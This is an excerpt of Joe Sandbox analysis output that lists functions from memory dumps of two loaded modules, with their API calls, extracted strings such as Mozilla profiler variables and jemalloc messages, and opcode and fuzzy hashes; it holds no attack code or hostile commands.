Opcode ID: 7c1d2237535996b0bfee9595c12d6e07f8fcb138440dab904ab2daff148394d2
Instruction ID: 16b1b5c75c6b55a4d0e22a352a9e486e77da09f000db5fe400d7497e094c3300
Opcode Fuzzy Hash: 7c1d2237535996b0bfee9595c12d6e07f8fcb138440dab904ab2daff148394d2
Instruction Fuzzy Hash: 2F51E67669460B9BD712CB28C8847BEB376BFD1384FCA0028D92A57300D735F915CB92

Function 6D2D0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6D293DEF), ref: 6D2D0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6D293DEF), ref: 6D2D0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6D293DEF), ref: 6D2D0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6D2D0D97, 6D2D0DBE
<jemalloc>, xrefs: 6D2D0D92, 6D2D0DB9

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 095292a91618554805ed243653744ec0f90a0a100070123f65603dfd97a174c3
Instruction ID: 6a44efc725aec0bf47fa5acdee857b70ee3125905eaeb0d27b8958828f7957c6
Opcode Fuzzy Hash: 095292a91618554805ed243653744ec0f90a0a100070123f65603dfd97a174c3
Instruction Fuzzy Hash: 13F0E9323D421F37E66812671D09F6A365DF7C6B25F208037F614DE1D4DA51E800C6A6

Function 6D2DE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6D2DE577
AcquireSRWLockExclusive.KERNEL32(6D31F4B8), ref: 6D2DE584
ReleaseSRWLockExclusive.KERNEL32(6D31F4B8), ref: 6D2DE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6D2DE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6D2DE826, 6D2DE850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6D2DE722, 6D2DE750, 6D2DE7A2
MOZ_PROFILER_STARTUP, xrefs: 6D2DE5A1, 6D2DE5CC, 6D2DE5FF, 6D2DE62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6D2DE777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6D2DE655

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: bba221999e7eec10984b37f7de9bede54df98101a081b1c8dd6f75591fe69acc
Instruction ID: fde2f6b1e5ba22ef24e85360509b90e07ee61bc4d20ac6c5dc4941fd535cddbf
Opcode Fuzzy Hash: bba221999e7eec10984b37f7de9bede54df98101a081b1c8dd6f75591fe69acc
Instruction Fuzzy Hash: F211A53290426BEFCB00DF14CC49B69BBB8FF89359F410529E8A597350CB709805CB92

Function 61E01440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 61E01456
GetProcAddress.KERNEL32 ref: 61E01471

Strings

libgcj-16.dll, xrefs: 61E0144F
_Jv_RegisterClasses, xrefs: 61E01466

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-16.dll
API String ID: 1646373207-328863460
Opcode ID: 659acb1d45e1fe859de50aa712dc5e6a1f27a03cf8697e99cf940ea6467707a5
Instruction ID: ecefe885db533eab1004145bf0edfd2de441c317d2227bbbfd891c436449bb9f
Opcode Fuzzy Hash: 659acb1d45e1fe859de50aa712dc5e6a1f27a03cf8697e99cf940ea6467707a5
Instruction Fuzzy Hash: CBE06DB4914B029BEB017FF4850633EBAF5AFC570AF72C42CD4808A290EA30C4818763

Function 61E40BB5 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E40C37
memcmp.MSVCRT ref: 61E40C5C
memcmp.MSVCRT ref: 61E40C86
memcmp.MSVCRT ref: 61E40CB5
memcmp.MSVCRT ref: 61E40CE1

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction ID: fd79a925e1d847c1357e69ee8e74f21d123acc92255d85b94bee504056160bb0
Opcode Fuzzy Hash: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction Fuzzy Hash: C0414EB0A083058BE7049FA9D68439EBAF5EFD5358F25C83DE898CB384D775D4458B42

Function 61EAAF5A Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 332stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61EAB012

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

bua, xrefs: 61EAAFCC
matchinfo, xrefs: 61EAAF5B
pcx, xrefs: 61EAAFA8

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: freestrcmp
String ID: bua$matchinfo$pcx
API String ID: 716601943-237985100
Opcode ID: 142ff4b21e4b6ecb954fa048ea9a1935a2bb3c33430374549ce4a37995f9eb34
Instruction ID: d7a9de28f1ba4d9dbc53b777f24a38c05efd697a91aa6da7b783da7e5ea27d52
Opcode Fuzzy Hash: 142ff4b21e4b6ecb954fa048ea9a1935a2bb3c33430374549ce4a37995f9eb34
Instruction Fuzzy Hash: 2FE1EE74D043598FEB10CFA8C480B9DBBF1BB49318F64C46AE8A8AB351D775E985CB41

Function 61E3D021 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 293stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E3D129

Strings

-, xrefs: 61E3D2AF
#, xrefs: 61E3D24E
], xrefs: 61E3D302

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: strncmp
String ID: #$-$]
API String ID: 1114863663-3149169660
Opcode ID: f99a3957d435e7ea3bb32a2a14cb1bf4f5c1a1f05ad08d6a5497aa7015d5eb71
Instruction ID: 1c490b0b60c0b5d90f91e160a7bf365b8f8ab346ded86ed4ccdc7e106188df17
Opcode Fuzzy Hash: f99a3957d435e7ea3bb32a2a14cb1bf4f5c1a1f05ad08d6a5497aa7015d5eb71
Instruction Fuzzy Hash: 82D15774D082698BDB01CF98C18479DFBF2BF89748FA9C059D854AB292D335E986CF50

Function 6D29CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6D29CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6D29CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6D29CF4E

Strings

0, xrefs: 6D29CF30

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: fec0e75dca83d096fa245fd88dae6f16d5e0701916a940a82a19b8d9061898b0
Instruction ID: fc25b216c4ac403c7ed3df1834d81070518fcc920e64387e23bb6cc06e5c8ea7
Opcode Fuzzy Hash: fec0e75dca83d096fa245fd88dae6f16d5e0701916a940a82a19b8d9061898b0
Instruction Fuzzy Hash: C9512271A0421A8FCB00CF19C890AAABBB5FF99300F19819DD8595F352D331ED06CBE0

Function 6D2D3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6D29F20E,?), ref: 6D2D3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6D29F20E,00000000,?), ref: 6D2D3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D2D3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6D2D3E0E

Part of subcall function 6D2CCC00: GetCurrentProcess.KERNEL32(?,?,6D2931A7), ref: 6D2CCC0D
Part of subcall function 6D2CCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6D2931A7), ref: 6D2CCC16

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0b21bda3017fc076661844df702207b755d2d26cea4342c5214ebef64ffe93e1
Instruction ID: 49aad7435c55e0ea55e9d974345f70fca40852f521e393d987168031a6b78564
Opcode Fuzzy Hash: 0b21bda3017fc076661844df702207b755d2d26cea4342c5214ebef64ffe93e1
Instruction Fuzzy Hash: 7DF0F8B29402097BDB009B54DC82EAB376DEB86A68F094030FE1857741D735BE2696F7

Function 61EAF6D0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 61EAF6F5
__dllonexit.MSVCRT ref: 61EAF733
_unlock.MSVCRT ref: 61EAF763
_onexit.MSVCRT ref: 61EAF777

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: __dllonexit_lock_onexit_unlock
String ID:
API String ID: 209411981-0
Opcode ID: 14a068eb5279b83cbe249a705044353e42ef401f74677ddee49b1cb2808ff91a
Instruction ID: d8116788f2c50d2f41c70b1de34e9b41b7999a481f31fa547576aa82505b99b8
Opcode Fuzzy Hash: 14a068eb5279b83cbe249a705044353e42ef401f74677ddee49b1cb2808ff91a
Instruction Fuzzy Hash: 7D1155B5A197418FCB40EF74D48455EBBE0AB89254F618D2EE4E5CB350E738D5848B82

Function 6D2D6590 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6D2CFA80: GetCurrentThreadId.KERNEL32 ref: 6D2CFA8D
Part of subcall function 6D2CFA80: AcquireSRWLockExclusive.KERNEL32(6D31F448), ref: 6D2CFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6D2D6727

Part of subcall function 6D2E4290: memcpy.VCRUNTIME140(?,?,6D2F2003,6D2F0AD9,?,6D2F0AD9,00000000,?,6D2F0AD9,?,00000004,?,6D2F1A62,?,6D2F2003,?), ref: 6D2E42C4

Strings

v1m, xrefs: 6D2D696C
data, xrefs: 6D2D6593

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadmemcpy
String ID: data$v1m
API String ID: 140092360-2816193380
Opcode ID: 3a88b5f967219f937b1236fbf038115f45931087c91fea6242cef257a1b0fa4a
Instruction ID: ad62241d9ef3b2e2b582ba4d78fb690eadadb32ef55482309964c48200ca6f0d
Opcode Fuzzy Hash: 3a88b5f967219f937b1236fbf038115f45931087c91fea6242cef257a1b0fa4a
Instruction Fuzzy Hash: 3AD1D175A4834A9FD764CF25C890B6FB7E5BFC5309F11892DD58987381DB30A805CB92

Function 61EAFAF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 61EAFB80
VirtualProtect.KERNEL32 ref: 61EAFBC2

Strings

@, xrefs: 61EAFBAB

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: @
API String ID: 1027372294-2766056989
Opcode ID: 291e62d0b65acdb3804ba4f4353593b383c4c3d38d689e226719f6992fe71c3d
Instruction ID: d36ff6d444c1f5105915669b8fb698cf4239ff4a3251c649fd02843d9bfa6c4b
Opcode Fuzzy Hash: 291e62d0b65acdb3804ba4f4353593b383c4c3d38d689e226719f6992fe71c3d
Instruction Fuzzy Hash: C0316DB2A447018FE710DF68D99464AFBF0FB44358F55C92DD8A98B340E734E844CB92

Function 6D2F6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6D2F6E22
__Init_thread_footer.LIBCMT ref: 6D2F6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6D2F6E1D

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 08f9fea02dbcad19508116b06513004e76b123446fde0b9d55dd89e8e877fde8
Instruction ID: 6bc292b837f3a4164b1baad0d7ee72c56057ac030374b12b1281433609ed97ab
Opcode Fuzzy Hash: 08f9fea02dbcad19508116b06513004e76b123446fde0b9d55dd89e8e877fde8
Instruction Fuzzy Hash: 7EF0B47B4C924BABDB108B68CD92FA1B775A713616F040565C83906252D721A913CA93

Function 6D2EB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6D2EB2C9,?,?,?,6D2EB127,?,?,?,?,?,?,?,?,?,6D2EAE52), ref: 6D2EB628
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6D2EB2C9,?,?,?,6D2EB127,?,?,?,?,?,?,?,?,?,6D2EAE52), ref: 6D2EB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6D2EB2C9,?,?,?,6D2EB127,?,?,?,?,?,?,?,?,?,6D2EAE52), ref: 6D2EB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6D2EB127,?,?,?,?,?,?,?,?), ref: 6D2EB74D

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: e26addd0ee9931a40078062ee985fe84f031918d1f7f06c0336e11e8f5c8ba0d
Instruction ID: 4a21331294b5446a26928dbf17284e220ec2dd50b1c010a4bf6e4e8a33c6195f
Opcode Fuzzy Hash: e26addd0ee9931a40078062ee985fe84f031918d1f7f06c0336e11e8f5c8ba0d
Instruction Fuzzy Hash: 0F51BDB2A5432B8BDB15CF18C98476EB7B9FF45381F858429C85AAB710D730E904CBA1

Function 6D2FB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6D2A0A4D), ref: 6D2FB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6D2A0A4D), ref: 6D2FB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6D2A0A4D), ref: 6D2FB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6D2A0A4D), ref: 6D2FB67F

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: fa2c7859bbbe0b2cd661b8aff463f10325c202a421423233a1f396ff112ff789
Instruction ID: f8fc1b8577adc5dee8a81773b60ccc14cd10caf70309abe61bd6a05cd59ae1c6
Opcode Fuzzy Hash: fa2c7859bbbe0b2cd661b8aff463f10325c202a421423233a1f396ff112ff789
Instruction Fuzzy Hash: 9F31D67194021B8FDB14CF58C89466AFBB9FF85305F168969C8169B301DB31E916CBA1

Function 6D2CF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6D2CF611
memcpy.VCRUNTIME140(?,?,?), ref: 6D2CF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6D2CF652
memcpy.VCRUNTIME140(?,?,?), ref: 6D2CF668

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 82b2d69b60395ca8b1f2d281b0381ab02e1486dd05f7506be0b761e2c8f37439
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B2315EB1A54618AFC754CF1DCCC0E9B77B9EB88354B14C638EA498B704D631FD448B91

Function 61EAFFC7 Relevance: 5.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 61EAFFF7
free.MSVCRT ref: 61EB0049
LeaveCriticalSection.KERNEL32 ref: 61EB0055

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: b6bb7d388052e0cdc322c2fcd809fba566db2f633b6fcc0fedcdc60f332ecf9f
